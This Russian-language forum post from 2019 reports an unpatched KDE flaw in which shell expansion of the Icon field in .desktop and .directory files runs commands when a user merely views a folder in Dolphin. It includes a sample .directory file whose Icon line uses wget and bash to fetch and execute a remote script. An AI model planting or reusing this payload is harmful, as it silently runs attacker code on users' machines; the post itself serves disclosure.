Уязвимость в KDE, позволяющая выполнить код при просмотре списка файлов

Discussion in 'Мировые новости. Обсуждения.' started by Suicide, 7 Aug 2019.

  1. Suicide

    Suicide Super Moderator
    Staff Member

    Joined:
    24 Apr 2009
    Messages:
    2,373
    Likes Received:
    6,619
    Reputations:
    693
    В KDE выявлена уязвимость, позволяющая атакующему выполнить произвольные команды при просмотре пользователем каталога или архива, содержащего специально оформленные файлы ".desktop" и ".directory". Для атаки достаточно, чтобы пользователь просто просмотрел список файлов в файловом менеджере Dolphin, загрузил вредоносный desktop-файл или перетащил мышью ярлык на рабочий стол или в документ. Проблема проявляется в актуальном выпуске библиотек KDE Frameworks 5.60.0 и более старых версиях, вплоть до KDE 4. Уязвимость пока остаётся неисправленной (CVE не присвоен).

    Проблема вызвана некорректной реализацией класса KDesktopFile, который при обработке переменной "Icon" без должного экранирования передаёт значение в функию KConfigPrivate::expandString(), которая выполняет раскрытие спецсимволов shell, в том числе обрабатывая строки "$(..)" как подлежащие исполнению команды. Вопреки требованиям спецификации XDG выполнение раскрытия shell-конструкций производится без разделения типа настроек, т.е. не только при определении командной строки запускаемого приложения, но и при указании отображаемых по умолчанию пиктограмм.

    Например, для атаки достаточно отправить пользователю zip-архив с каталогом, содержащим файл ".directory" вида:


    [Desktop Entry]
    Type=Directory
    Icon[$e]=$(wget${IFS}https://example.com/FILENAME.sh&&/bin/bash${IFS}FILENAME.sh)

    При попытке просмотра содержимого архива в файловом менеджере Dolphin будет загружен и выполнен скрипт https://example.com/FILENAME.sh.